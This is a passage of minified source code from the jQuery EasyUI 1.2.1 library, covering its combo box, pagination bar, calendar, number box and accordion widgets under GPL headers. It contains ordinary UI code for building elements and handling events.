_13=$.data(_12,"combo").options; var _14=$.data(_12,"combo").combo; var _15=$.data(_12,"combo").panel; var _16=_14.find(".combo-text"); var _17=_14.find(".combo-arrow"); $(document).unbind(".combo"); _14.unbind(".combo"); _15.unbind(".combo"); _16.unbind(".combo"); _17.unbind(".combo"); if(!_13.disabled){ $(document).bind("mousedown.combo",function(e){ $("div.combo-panel").panel("close"); }); _15.bind("mousedown.combo",function(e){ return false; }); _16.bind("mousedown.combo",function(e){ e.stopPropagation(); }).bind("keydown.combo",function(e){ switch(e.keyCode){ case 38: _13.keyHandler.up.call(_12); break; case 40: _13.keyHandler.down.call(_12); break; case 13: e.preventDefault(); _13.keyHandler.enter.call(_12); return false; case 9: case 27: _1e(_12); break; default: if(_13.editable){ setTimeout(function(){ var q=_16.val(); if($.data(_12,"combo").previousValue!=q){ $.data(_12,"combo").previousValue=q; _18(_12); _13.keyHandler.query.call(_12,_16.val()); _22(_12,true); } },10); } } }); _17.bind("click.combo",function(){ _16.focus(); _18(_12); }).bind("mouseenter.combo",function(){ $(this).addClass("combo-arrow-hover"); }).bind("mouseleave.combo",function(){ $(this).removeClass("combo-arrow-hover"); }); } }; function _18(_19){ var _1a=$.data(_19,"combo").options; var _1b=$.data(_19,"combo").combo; var _1c=$.data(_19,"combo").panel; if($.fn.window){ _1c.panel("panel").css("z-index",$.fn.window.defaults.zIndex++); } _1c.panel("move",{left:_1b.offset().left,top:_1d()}); _1c.panel("open"); _1a.onShowPanel.call(_19); (function(){ if(_1c.is(":visible")){ _1c.panel("move",{left:_1b.offset().left,top:_1d()}); setTimeout(arguments.callee,200); } })(); function _1d(){ var top=_1b.offset().top+_1b.outerHeight(); if(top+_1c.outerHeight()>$(window).height()+$(document).scrollTop()){ top=_1b.offset().top-_1c.outerHeight(); } if(top<$(document).scrollTop()){ top=_1b.offset().top+_1b.outerHeight(); } return top; }; }; function _1e(_1f){ var _20=$.data(_1f,"combo").options; var _21=$.data(_1f,"combo").panel; _21.panel("close"); _20.onHidePanel.call(_1f); }; function _22(_23,_24){ var _25=$.data(_23,"combo").options; var _26=$.data(_23,"combo").combo.find("input.combo-text"); _26.validatebox(_25); if(_24){ _26.validatebox("validate"); _26.trigger("mouseleave"); } }; function _27(_28,_29){ var _2a=$.data(_28,"combo").options; var _2b=$.data(_28,"combo").combo; if(_29){ _2a.disabled=true; $(_28).attr("disabled",true); _2b.find(".combo-value").attr("disabled",true); _2b.find(".combo-text").attr("disabled",true); }else{ _2a.disabled=false; $(_28).removeAttr("disabled"); _2b.find(".combo-value").removeAttr("disabled"); _2b.find(".combo-text").removeAttr("disabled"); } }; function _2c(_2d){ var _2e=$.data(_2d,"combo").options; var _2f=$.data(_2d,"combo").combo; if(_2e.multiple){ _2f.find("input.combo-value").remove(); }else{ _2f.find("input.combo-value").val(""); } _2f.find("input.combo-text").val(""); }; function _30(_31){ var _32=$.data(_31,"combo").combo; return _32.find("input.combo-text").val(); }; function _33(_34,_35){ var _36=$.data(_34,"combo").combo; _36.find("input.combo-text").val(_35); _22(_34,true); $.data(_34,"combo").previousValue=_35; }; function _37(_38){ var _39=[]; var _3a=$.data(_38,"combo").combo; _3a.find("input.combo-value").each(function(){ _39.push($(this).val()); }); return _39; }; function _3b(_3c,_3d){ var _3e=$.data(_3c,"combo").options; var _3f=_37(_3c); var _40=$.data(_3c,"combo").combo; _40.find("input.combo-value").remove(); var _41=$(_3c).attr("comboName"); for(var i=0;i<_3d.length;i++){ var _42=$("<input type=\"hidden\" class=\"combo-value\">").appendTo(_40); if(_41){ _42.attr("name",_41); } _42.val(_3d[i]); } var tmp=[]; for(var i=0;i<_3f.length;i++){ tmp[i]=_3f[i]; } var aa=[]; for(var i=0;i<_3d.length;i++){ for(var j=0;j<tmp.length;j++){ if(_3d[i]==tmp[j]){ aa.push(_3d[i]); tmp.splice(j,1); break; } } } if(aa.length!=_3d.length||_3d.length!=_3f.length){ if(_3e.multiple){ _3e.onChange.call(_3c,_3d,_3f); }else{ _3e.onChange.call(_3c,_3d[0],_3f[0]); } } }; function _43(_44){ var _45=_37(_44); return _45[0]; }; function _46(_47,_48){ _3b(_47,[_48]); }; function _49(_4a){ var _4b=$.data(_4a,"combo").options; if(_4b.multiple){ if(_4b.value){ if(typeof _4b.value=="object"){ _3b(_4a,_4b.value); }else{ _46(_4a,_4b.value); } }else{ _3b(_4a,[]); } }else{ _46(_4a,_4b.value); } }; $.fn.combo=function(_4c,_4d){ if(typeof _4c=="string"){ return $.fn.combo.methods[_4c](this,_4d); } _4c=_4c||{}; return this.each(function(){ var _4e=$.data(this,"combo"); if(_4e){ $.extend(_4e.options,_4c); }else{ var r=_8(this); _4e=$.data(this,"combo",{options:$.extend({},$.fn.combo.defaults,$.fn.combo.parseOptions(this),_4c),combo:r.combo,panel:r.panel,previousValue:null}); $(this).removeAttr("disabled"); } $("input.combo-text",_4e.combo).attr("readonly",!_4e.options.editable); _27(this,_4e.options.disabled); _1(this); _11(this); _22(this); _49(this); }); }; $.fn.combo.methods={options:function(jq){ return $.data(jq[0],"combo").options; },panel:function(jq){ return $.data(jq[0],"combo").panel; },textbox:function(jq){ return $.data(jq[0],"combo").combo.find("input.combo-text"); },destroy:function(jq){ return jq.each(function(){ _e(this); }); },resize:function(jq,_4f){ return jq.each(function(){ _1(this,_4f); }); },showPanel:function(jq){ return jq.each(function(){ _18(this); }); },hidePanel:function(jq){ return jq.each(function(){ _1e(this); }); },disable:function(jq){ return jq.each(function(){ _27(this,true); _11(this); }); },enable:function(jq){ return jq.each(function(){ _27(this,false); _11(this); }); },validate:function(jq){ return jq.each(function(){ _22(this,true); }); },isValid:function(jq){ var _50=$.data(jq[0],"combo").combo.find("input.combo-text"); return _50.validatebox("isValid"); },clear:function(jq){ return jq.each(function(){ _2c(this); }); },getText:function(jq){ return _30(jq[0]); },setText:function(jq,_51){ return jq.each(function(){ _33(this,_51); }); },getValues:function(jq){ return _37(jq[0]); },setValues:function(jq,_52){ return jq.each(function(){ _3b(this,_52); }); },getValue:function(jq){ return _43(jq[0]); },setValue:function(jq,_53){ return jq.each(function(){ _46(this,_53); }); }}; $.fn.combo.parseOptions=function(_54){ var t=$(_54); return $.extend({},$.fn.validatebox.parseOptions(_54),{width:(parseInt(_54.style.width)||undefined),panelWidth:(parseInt(t.attr("panelWidth"))||undefined),panelHeight:(t.attr("panelHeight")=="auto"?"auto":parseInt(t.attr("panelHeight"))||undefined),separator:(t.attr("separator")||undefined),multiple:(t.attr("multiple")?(t.attr("multiple")=="true"||t.attr("multiple")==true):undefined),editable:(t.attr("editable")?t.attr("editable")=="true":undefined),disabled:(t.attr("disabled")?true:undefined),value:(t.val()||undefined)}); }; $.fn.combo.defaults=$.extend({},$.fn.validatebox.defaults,{width:"auto",panelWidth:null,panelHeight:200,multiple:false,separator:",",editable:true,disabled:false,value:"",keyHandler:{up:function(){ },down:function(){ },enter:function(){ },query:function(q){ }},onShowPanel:function(){ },onHidePanel:function(){ },onChange:function(_55,_56){ }}); })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var _3=$.data(_2,"pagination").options; var _4=$(_2).addClass("pagination").empty(); var t=$("<table cellspacing=\"0\" cellpadding=\"0\" border=\"0\"><tr></tr></table>").appendTo(_4); var tr=$("tr",t); if(_3.showPageList){ var ps=$("<select class=\"pagination-page-list\"></select>"); for(var i=0;i<_3.pageList.length;i++){ $("<option></option>").text(_3.pageList[i]).attr("selected",_3.pageList[i]==_3.pageSize?"selected":"").appendTo(ps); } $("<td></td>").append(ps).appendTo(tr); _3.pageSize=parseInt(ps.val()); $("<td><div class=\"pagination-btn-separator\"></div></td>").appendTo(tr); } $("<td><a href=\"javascript:void(0)\" icon=\"pagination-first\"></a></td>").appendTo(tr); $("<td><a href=\"javascript:void(0)\" icon=\"pagination-prev\"></a></td>").appendTo(tr); $("<td><div class=\"pagination-btn-separator\"></div></td>").appendTo(tr); $("<span style=\"padding-left:6px;\"></span>").html(_3.beforePageText).wrap("<td></td>").parent().appendTo(tr); $("<td><input class=\"pagination-num\" type=\"text\" value=\"1\" size=\"2\"></td>").appendTo(tr); $("<span style=\"padding-right:6px;\"></span>").wrap("<td></td>").parent().appendTo(tr); $("<td><div class=\"pagination-btn-separator\"></div></td>").appendTo(tr); $("<td><a href=\"javascript:void(0)\" icon=\"pagination-next\"></a></td>").appendTo(tr); $("<td><a href=\"javascript:void(0)\" icon=\"pagination-last\"></a></td>").appendTo(tr); if(_3.showRefresh){ $("<td><div class=\"pagination-btn-separator\"></div></td>").appendTo(tr); $("<td><a href=\"javascript:void(0)\" icon=\"pagination-load\"></a></td>").appendTo(tr); } if(_3.buttons){ $("<td><div class=\"pagination-btn-separator\"></div></td>").appendTo(tr); for(var i=0;i<_3.buttons.length;i++){ var _5=_3.buttons[i]; if(_5=="-"){ $("<td><div class=\"pagination-btn-separator\"></div></td>").appendTo(tr); }else{ var td=$("<td></td>").appendTo(tr); $("<a href=\"javascript:void(0)\"></a>").addClass("l-btn").css("float","left").text(_5.text||"").attr("icon",_5.iconCls||"").bind("click",eval(_5.handler||function(){ })).appendTo(td).linkbutton({plain:true}); } } } $("<div class=\"pagination-info\"></div>").appendTo(_4); $("<div style=\"clear:both;\"></div>").appendTo(_4); $("a[icon^=pagination]",_4).linkbutton({plain:true}); _4.find("a[icon=pagination-first]").unbind(".pagination").bind("click.pagination",function(){ if(_3.pageNumber>1){ _a(_2,1); } }); _4.find("a[icon=pagination-prev]").unbind(".pagination").bind("click.pagination",function(){ if(_3.pageNumber>1){ _a(_2,_3.pageNumber-1); } }); _4.find("a[icon=pagination-next]").unbind(".pagination").bind("click.pagination",function(){ var _6=Math.ceil(_3.total/_3.pageSize); if(_3.pageNumber<_6){ _a(_2,_3.pageNumber+1); } }); _4.find("a[icon=pagination-last]").unbind(".pagination").bind("click.pagination",function(){ var _7=Math.ceil(_3.total/_3.pageSize); if(_3.pageNumber<_7){ _a(_2,_7); } }); _4.find("a[icon=pagination-load]").unbind(".pagination").bind("click.pagination",function(){ if(_3.onBeforeRefresh.call(_2,_3.pageNumber,_3.pageSize)!=false){ _a(_2,_3.pageNumber); _3.onRefresh.call(_2,_3.pageNumber,_3.pageSize); } }); _4.find("input.pagination-num").unbind(".pagination").bind("keydown.pagination",function(e){ if(e.keyCode==13){ var _8=parseInt($(this).val())||1; _a(_2,_8); } }); _4.find(".pagination-page-list").unbind(".pagination").bind("change.pagination",function(){ _3.pageSize=$(this).val(); _3.onChangePageSize.call(_2,_3.pageSize); var _9=Math.ceil(_3.total/_3.pageSize); _a(_2,_3.pageNumber); }); }; function _a(_b,_c){ var _d=$.data(_b,"pagination").options; var _e=Math.ceil(_d.total/_d.pageSize); var _f=_c; if(_c<1){ _f=1; } if(_c>_e){ _f=_e; } _d.onSelectPage.call(_b,_f,_d.pageSize); _d.pageNumber=_f; _10(_b); }; function _10(_11){ var _12=$.data(_11,"pagination").options; var _13=Math.ceil(_12.total/_12.pageSize); var num=$(_11).find("input.pagination-num"); num.val(_12.pageNumber); num.parent().next().find("span").html(_12.afterPageText.replace(/{pages}/,_13)); var _14=_12.displayMsg; _14=_14.replace(/{from}/,_12.pageSize*(_12.pageNumber-1)+1); _14=_14.replace(/{to}/,Math.min(_12.pageSize*(_12.pageNumber),_12.total)); _14=_14.replace(/{total}/,_12.total); $(_11).find(".pagination-info").html(_14); $("a[icon=pagination-first],a[icon=pagination-prev]",_11).linkbutton({disabled:(_12.pageNumber==1)}); $("a[icon=pagination-next],a[icon=pagination-last]",_11).linkbutton({disabled:(_12.pageNumber==_13)}); if(_12.loading){ $(_11).find("a[icon=pagination-load]").find(".pagination-load").addClass("pagination-loading"); }else{ $(_11).find("a[icon=pagination-load]").find(".pagination-load").removeClass("pagination-loading"); } }; function _15(_16,_17){ var _18=$.data(_16,"pagination").options; _18.loading=_17; if(_18.loading){ $(_16).find("a[icon=pagination-load]").find(".pagination-load").addClass("pagination-loading"); }else{ $(_16).find("a[icon=pagination-load]").find(".pagination-load").removeClass("pagination-loading"); } }; $.fn.pagination=function(_19,_1a){ if(typeof _19=="string"){ return $.fn.pagination.methods[_19](this,_1a); } _19=_19||{}; return this.each(function(){ var _1b; var _1c=$.data(this,"pagination"); if(_1c){ _1b=$.extend(_1c.options,_19); }else{ _1b=$.extend({},$.fn.pagination.defaults,_19); $.data(this,"pagination",{options:_1b}); } _1(this); _10(this); }); }; $.fn.pagination.methods={options:function(jq){ return $.data(jq[0],"pagination").options; },loading:function(jq){ return jq.each(function(){ _15(this,true); }); },loaded:function(jq){ return jq.each(function(){ _15(this,false); }); }}; $.fn.pagination.defaults={total:1,pageSize:10,pageNumber:1,pageList:[10,20,30,50],loading:false,buttons:null,showPageList:true,showRefresh:true,onSelectPage:function(_1d,_1e){ },onBeforeRefresh:function(_1f,_20){ },onRefresh:function(_21,_22){ },onChangePageSize:function(_23){ },beforePageText:"Page",afterPageText:"of {pages}",displayMsg:"Displaying {from} to {to} of {total} items"}; })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var _3=$.data(_2,"calendar").options; var t=$(_2); if(_3.fit==true){ var p=t.parent(); _3.width=p.width(); _3.height=p.height(); } var _4=t.find(".calendar-header"); if($.boxModel==true){ t.width(_3.width-(t.outerWidth()-t.width())); t.height(_3.height-(t.outerHeight()-t.height())); }else{ t.width(_3.width); t.height(_3.height); } var _5=t.find(".calendar-body"); var _6=t.height()-_4.outerHeight(); if($.boxModel==true){ _5.height(_6-(_5.outerHeight()-_5.height())); }else{ _5.height(_6); } }; function _7(_8){ $(_8).addClass("calendar").wrapInner("<div class=\"calendar-header\">"+"<div class=\"calendar-prevmonth\"></div>"+"<div class=\"calendar-nextmonth\"></div>"+"<div class=\"calendar-prevyear\"></div>"+"<div class=\"calendar-nextyear\"></div>"+"<div class=\"calendar-title\">"+"<span>Aprial 2010</span>"+"</div>"+"</div>"+"<div class=\"calendar-body\">"+"<div class=\"calendar-menu\">"+"<div class=\"calendar-menu-year-inner\">"+"<span class=\"calendar-menu-prev\"></span>"+"<span><input class=\"calendar-menu-year\" type=\"text\"></input></span>"+"<span class=\"calendar-menu-next\"></span>"+"</div>"+"<div class=\"calendar-menu-month-inner\">"+"</div>"+"</div>"+"</div>"); $(_8).find(".calendar-title span").hover(function(){ $(this).addClass("calendar-menu-hover"); },function(){ $(this).removeClass("calendar-menu-hover"); }).click(function(){ var _9=$(_8).find(".calendar-menu"); if(_9.is(":visible")){ _9.hide(); }else{ _16(_8); } }); $(".calendar-prevmonth,.calendar-nextmonth,.calendar-prevyear,.calendar-nextyear",_8).hover(function(){ $(this).addClass("calendar-nav-hover"); },function(){ $(this).removeClass("calendar-nav-hover"); }); $(_8).find(".calendar-nextmonth").click(function(){ _b(_8,1); }); $(_8).find(".calendar-prevmonth").click(function(){ _b(_8,-1); }); $(_8).find(".calendar-nextyear").click(function(){ _11(_8,1); }); $(_8).find(".calendar-prevyear").click(function(){ _11(_8,-1); }); $(_8).bind("_resize",function(){ var _a=$.data(_8,"calendar").options; if(_a.fit==true){ _1(_8); } return false; }); }; function _b(_c,_d){ var _e=$.data(_c,"calendar").options; _e.month+=_d; if(_e.month>12){ _e.year++; _e.month=1; }else{ if(_e.month<1){ _e.year--; _e.month=12; } } _f(_c); var _10=$(_c).find(".calendar-menu-month-inner"); _10.find("td.calendar-selected").removeClass("calendar-selected"); _10.find("td:eq("+(_e.month-1)+")").addClass("calendar-selected"); }; function _11(_12,_13){ var _14=$.data(_12,"calendar").options; _14.year+=_13; _f(_12); var _15=$(_12).find(".calendar-menu-year"); _15.val(_14.year); }; function _16(_17){ var _18=$.data(_17,"calendar").options; $(_17).find(".calendar-menu").show(); if($(_17).find(".calendar-menu-month-inner").is(":empty")){ $(_17).find(".calendar-menu-month-inner").empty(); var t=$("<table></table>").appendTo($(_17).find(".calendar-menu-month-inner")); var idx=0; for(var i=0;i<3;i++){ var tr=$("<tr></tr>").appendTo(t); for(var j=0;j<4;j++){ $("<td class=\"calendar-menu-month\"></td>").html(_18.months[idx++]).attr("abbr",idx).appendTo(tr); } } $(_17).find(".calendar-menu-prev,.calendar-menu-next").hover(function(){ $(this).addClass("calendar-menu-hover"); },function(){ $(this).removeClass("calendar-menu-hover"); }); $(_17).find(".calendar-menu-next").click(function(){ var y=$(_17).find(".calendar-menu-year"); if(!isNaN(y.val())){ y.val(parseInt(y.val())+1); } }); $(_17).find(".calendar-menu-prev").click(function(){ var y=$(_17).find(".calendar-menu-year"); if(!isNaN(y.val())){ y.val(parseInt(y.val()-1)); } }); $(_17).find(".calendar-menu-year").keypress(function(e){ if(e.keyCode==13){ _19(); } }); $(_17).find(".calendar-menu-month").hover(function(){ $(this).addClass("calendar-menu-hover"); },function(){ $(this).removeClass("calendar-menu-hover"); }).click(function(){ var _1a=$(_17).find(".calendar-menu"); _1a.find(".calendar-selected").removeClass("calendar-selected"); $(this).addClass("calendar-selected"); _19(); }); } function _19(){ var _1b=$(_17).find(".calendar-menu"); var _1c=_1b.find(".calendar-menu-year").val(); var _1d=_1b.find(".calendar-selected").attr("abbr"); if(!isNaN(_1c)){ _18.year=parseInt(_1c); _18.month=parseInt(_1d); _f(_17); } _1b.hide(); }; var _1e=$(_17).find(".calendar-body"); var _1f=$(_17).find(".calendar-menu"); var _20=_1f.find(".calendar-menu-year-inner"); var _21=_1f.find(".calendar-menu-month-inner"); _20.find("input").val(_18.year).focus(); _21.find("td.calendar-selected").removeClass("calendar-selected"); _21.find("td:eq("+(_18.month-1)+")").addClass("calendar-selected"); if($.boxModel==true){ _1f.width(_1e.outerWidth()-(_1f.outerWidth()-_1f.width())); _1f.height(_1e.outerHeight()-(_1f.outerHeight()-_1f.height())); _21.height(_1f.height()-(_21.outerHeight()-_21.height())-_20.outerHeight()); }else{ _1f.width(_1e.outerWidth()); _1f.height(_1e.outerHeight()); _21.height(_1f.height()-_20.outerHeight()); } }; function _22(_23,_24){ var _25=[]; var _26=new Date(_23,_24,0).getDate(); for(var i=1;i<=_26;i++){ _25.push([_23,_24,i]); } var _27=[],_28=[]; while(_25.length>0){ var _29=_25.shift(); _28.push(_29); if(new Date(_29[0],_29[1]-1,_29[2]).getDay()==6){ _27.push(_28); _28=[]; } } if(_28.length){ _27.push(_28); } var _2a=_27[0]; if(_2a.length<7){ while(_2a.length<7){ var _2b=_2a[0]; var _29=new Date(_2b[0],_2b[1]-1,_2b[2]-1); _2a.unshift([_29.getFullYear(),_29.getMonth()+1,_29.getDate()]); } }else{ var _2b=_2a[0]; var _28=[]; for(var i=1;i<=7;i++){ var _29=new Date(_2b[0],_2b[1]-1,_2b[2]-i); _28.unshift([_29.getFullYear(),_29.getMonth()+1,_29.getDate()]); } _27.unshift(_28); } var _2c=_27[_27.length-1]; while(_2c.length<7){ var _2d=_2c[_2c.length-1]; var _29=new Date(_2d[0],_2d[1]-1,_2d[2]+1); _2c.push([_29.getFullYear(),_29.getMonth()+1,_29.getDate()]); } if(_27.length<6){ var _2d=_2c[_2c.length-1]; var _28=[]; for(var i=1;i<=7;i++){ var _29=new Date(_2d[0],_2d[1]-1,_2d[2]+i); _28.push([_29.getFullYear(),_29.getMonth()+1,_29.getDate()]); } _27.push(_28); } return _27; }; function _f(_2e){ var _2f=$.data(_2e,"calendar").options; $(_2e).find(".calendar-title span").html(_2f.months[_2f.month-1]+" "+_2f.year); var _30=$(_2e).find("div.calendar-body"); _30.find(">table").remove(); var t=$("<table cellspacing=\"0\" cellpadding=\"0\" border=\"0\"><thead></thead><tbody></tbody></table>").prependTo(_30); var tr=$("<tr></tr>").appendTo(t.find("thead")); for(var i=0;i<_2f.weeks.length;i++){ tr.append("<th>"+_2f.weeks[i]+"</th>"); } var _31=_22(_2f.year,_2f.month); for(var i=0;i<_31.length;i++){ var _32=_31[i]; var tr=$("<tr></tr>").appendTo(t.find("tbody")); for(var j=0;j<_32.length;j++){ var day=_32[j]; $("<td class=\"calendar-day calendar-other-month\"></td>").attr("abbr",day[0]+","+day[1]+","+day[2]).html(day[2]).appendTo(tr); } } t.find("td[abbr^="+_2f.year+","+_2f.month+"]").removeClass("calendar-other-month"); var now=new Date(); var _33=now.getFullYear()+","+(now.getMonth()+1)+","+now.getDate(); t.find("td[abbr="+_33+"]").addClass("calendar-today"); if(_2f.current){ t.find(".calendar-selected").removeClass("calendar-selected"); var _34=_2f.current.getFullYear()+","+(_2f.current.getMonth()+1)+","+_2f.current.getDate(); t.find("td[abbr="+_34+"]").addClass("calendar-selected"); } t.find("tr").find("td:first").addClass("calendar-sunday"); t.find("tr").find("td:last").addClass("calendar-saturday"); t.find("td").hover(function(){ $(this).addClass("calendar-hover"); },function(){ $(this).removeClass("calendar-hover"); }).click(function(){ t.find(".calendar-selected").removeClass("calendar-selected"); $(this).addClass("calendar-selected"); var _35=$(this).attr("abbr").split(","); _2f.current=new Date(_35[0],parseInt(_35[1])-1,_35[2]); _2f.onSelect.call(_2e,_2f.current); }); }; $.fn.calendar=function(_36){ if(typeof _36=="string"){ return $.fn.calendar.methods[_36](this,param); } _36=_36||{}; return this.each(function(){ var _37=$.data(this,"calendar"); if(_37){ $.extend(_37.options,_36); }else{ _37=$.data(this,"calendar",{options:$.extend({},$.fn.calendar.defaults,$.fn.calendar.parseOptions(this),_36)}); _7(this); } if(_37.options.border==false){ $(this).addClass("calendar-noborder"); } _1(this); _f(this); $(this).find("div.calendar-menu").hide(); }); }; $.fn.calendar.methods={}; $.fn.calendar.parseOptions=function(_38){ var t=$(_38); return {width:(parseInt(_38.style.width)||undefined),height:(parseInt(_38.style.height)||undefined),fit:(t.attr("fit")?t.attr("fit")=="true":undefined),border:(t.attr("border")?t.attr("border")=="true":undefined)}; }; $.fn.calendar.defaults={width:180,height:180,fit:false,border:true,weeks:["S","M","T","W","T","F","S"],months:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],year:new Date().getFullYear(),month:new Date().getMonth()+1,current:new Date(),onSelect:function(_39){ }}; })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var _3=$.data(_2,"numberbox").options; var _4=parseFloat($(_2).val()).toFixed(_3.precision); if(isNaN(_4)){ $(_2).val(""); return; } if(_3.min!=null&&_3.min!=undefined&&_4<_3.min){ $(_2).val(_3.min.toFixed(_3.precision)); }else{ if(_3.max!=null&&_3.max!=undefined&&_4>_3.max){ $(_2).val(_3.max.toFixed(_3.precision)); }else{ $(_2).val(_4); } } }; function _5(_6){ $(_6).unbind(".numberbox"); $(_6).bind("keypress.numberbox",function(e){ if(e.which==45){ return true; } if(e.which==46){ return true; }else{ if((e.which>=48&&e.which<=57&&e.ctrlKey==false&&e.shiftKey==false)||e.which==0||e.which==8){ return true; }else{ if(e.ctrlKey==true&&(e.which==99||e.which==118)){ return true; }else{ return false; } } } }).bind("paste.numberbox",function(){ if(window.clipboardData){ var s=clipboardData.getData("text"); if(!/\D/.test(s)){ return true; }else{ return false; } }else{ return false; } }).bind("dragenter.numberbox",function(){ return false; }).bind("blur.numberbox",function(){ _1(_6); }); }; function _7(_8){ if($.fn.validatebox){ var _9=$.data(_8,"numberbox").options; $(_8).validatebox(_9); } }; function _a(_b,_c){ var _d=$.data(_b,"numberbox").options; if(_c){ _d.disabled=true; $(_b).attr("disabled",true); }else{ _d.disabled=false; $(_b).removeAttr("disabled"); } }; $.fn.numberbox=function(_e,_f){ if(typeof _e=="string"){ var _10=$.fn.numberbox.methods[_e]; if(_10){ return _10(this,_f); }else{ return this.validatebox(_e,_f); } } _e=_e||{}; return this.each(function(){ var _11=$.data(this,"numberbox"); if(_11){ $.extend(_11.options,_e); }else{ _11=$.data(this,"numberbox",{options:$.extend({},$.fn.numberbox.defaults,$.fn.numberbox.parseOptions(this),_e)}); $(this).removeAttr("disabled"); $(this).css({imeMode:"disabled"}); } _a(this,_11.options.disabled); _5(this); _7(this); }); }; $.fn.numberbox.methods={disable:function(jq){ return jq.each(function(){ _a(this,true); }); },enable:function(jq){ return jq.each(function(){ _a(this,false); }); },fix:function(jq){ return jq.each(function(){ _1(this); }); }}; $.fn.numberbox.parseOptions=function(_12){ var t=$(_12); return $.extend({},$.fn.validatebox.parseOptions(_12),{disabled:(t.attr("disabled")?true:undefined),min:(t.attr("min")=="0"?0:parseFloat(t.attr("min"))||undefined),max:(t.attr("max")=="0"?0:parseFloat(t.attr("max"))||undefined),precision:(parseInt(t.attr("precision"))||undefined)}); }; $.fn.numberbox.defaults=$.extend({},$.fn.validatebox.defaults,{disabled:false,min:null,max:null,precision:0}); })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var _3=$.data(_2,"accordion").options; var _4=$.data(_2,"accordion").panels; var cc=$(_2); if(_3.fit==true){ var p=cc.parent(); _3.width=p.width(); _3.height=p.height(); } if(_3.width>0){ cc.width($.boxModel==true?(_3.width-(cc.outerWidth()-cc.width())):_3.width); } var _5="auto"; if(_3.height>0){ cc.height($.boxModel==true?(_3.height-(cc.outerHeight()-cc.height())):_3.height); var _6=_4.length?_4[0].panel("header").css("height",null).outerHeight():"auto"; var _5=cc.height()-(_4.length-1)*_6; } for(var i=0;i<_4.length;i++){ var _7=_4[i]; var _8=_7.panel("header"); _8.height($.boxModel==true?(_6-(_8.outerHeight()-_8.height())):_6); _7.panel("resize",{width:cc.width(),height:_5}); } }; function _9(_a){ var _b=$.data(_a,"accordion").panels; for(var i=0;i<_b.length;i++){ var _c=_b[i]; if(_c.panel("options").collapsed==false){ return _c; } } return null; }; function _d(_e,_f,_10){ var _11=$.data(_e,"accordion").panels; for(var i=0;i<_11.length;i++){ var _12=_11[i]; if(_12.panel("options").title==_f){ if(_10){ _11.splice(i,1); } return _12; } } return null; }; function _13(_14){ var cc=$(_14); cc.addClass("accordion"); if(cc.attr("border")=="false"){ cc.addClass("accordion-noborder"); }else{ cc.removeClass("accordion-noborder"); } if(cc.find(">div[selected=true]").length==0){ cc.find(">div:first").attr("selected","true"); } var _15=[]; cc.find(">div").each(function(){ var pp=$(this); _15.push(pp); _17(_14,pp,{}); }); cc.bind("_resize",function(){ var _16=$.data(_14,"accordion").options; if(_16.fit==true){ _1(_14); } return false; }); return {accordion:cc,panels:_15}; }; function _17(_18,pp,_19){ pp.panel($.extend({},_19,{collapsible:false,minimizable:false,maximizable:false,closable:false,doSize:false,collapsed:pp.attr("selected")!="true",tools:[{iconCls:"accordion-collapse",handler:function(){ var _1a=$.data(_18,"accordion").options.animate; if(pp.panel("options").collapsed){ pp.panel("expand",_1a); }else{ pp.panel("collapse",_1a); } return false; }}],onBeforeExpand:function(){ var _1b=_9(_18); if(_1b){ var _1c=$(_1b).panel("header"); _1c.removeClass("accordion-header-selected"); _1c.find(".accordion-collapse").triggerHandler("click"); } var _1c=pp.panel("header"); _1c.addClass("accordion-header-selected"); _1c.find("div.accordion-collapse").removeClass("accordion-expand"); },onExpand:function(){ pp.panel("body").find(">div").triggerHandler("_resize"); var _1d=$.data(_18,"accordion").options; _1d.onSelect.call(_18,pp.panel("options").title); },onBeforeCollapse:function(){ var _1e=pp.panel("header"); _1e.removeClass("accordion-header-selected"); _1e.find("div.accordion-collapse").addClass("accordion-expand"); }})); pp.panel("body").addClass("accordion-body"); pp.panel("header").addClass("accordion-header").click(function(){ $(this).find(".accordion-collapse").triggerHandler("click"); return false; }); }; function _1f(_20,_21){ var _22=$.data(_20,"accordion").options; var _23=$.data(_20,"accordion").panels; var _24=_9(_20); if(_24&&_24.panel("options").title==_21){ return; } var _25=_d(_20,_21); if(_25){ _25.panel("header").triggerHandler("click"); }else{ if(_24){ _24.panel("header").addClass("accordion-header-selected"); _22.onSelect.call(_20,_24.panel("options").title); } } }; function add(_26,_27){ var _28=$.data(_26,"accordion").options; var _29=$.data(_26,"accordion").panels; var pp=$("<div></div>").appendTo(_26); _29.push(pp); _17(_26,pp,_27); _1(_26); _28.onAdd.call(_26,_27.title); _1f(_26,_27.title); }; function _2a(_2b,_2c){ var _2d=$.data(_2b,"accordion").options; var _2e=$.data(_2b,"accordion").panels; if(_2d.onBeforeRemove.call(_2b,_2c)==false){ return; } var _2f=_d(_2b,_2c,true); if(_2f){ _2f.panel("destroy"); if(_2e.length){ _1(_2b); var _30=_9(_2b); if(!_30){ _1f(_2b,_2e[0].panel("options").title); } } } _2d.onRemove.call(_2b,_2c); }; $.fn.accordion=function(_31,_32){ if(typeof _31=="string"){ return $.fn.accordion.methods[_31](this,_32); } _31=_31||{}; return this.each(function(){ var _33=$.data(this,"accordion"); var _34; if(_33){ _34=$.extend(_33.options,_31); _33.opts=_34; }else{ _34=$.extend({},$.fn.accordion.defaults,$.fn.accordion.parseOptions(this),_31); var r=_13(this); $.data(this,"accordion",{options:_34,accordion:r.accordion,panels:r.panels}); } _1(this); _1f(this); }); }; $.fn.accordion.methods={options:function(jq){ return $.data(jq[0],"accordion").options; },panels:function(jq){ return $.data(jq[0],"accordion").panels; },resize:function(jq){ return jq.each(function(){ _1(this); }); },getSelected:function(jq){ return _9(jq[0]); },getPanel:function(jq,_35){ return _d(jq[0],_35); },select:function(jq,_36){ return jq.each(function(){ _1f(this,_36); 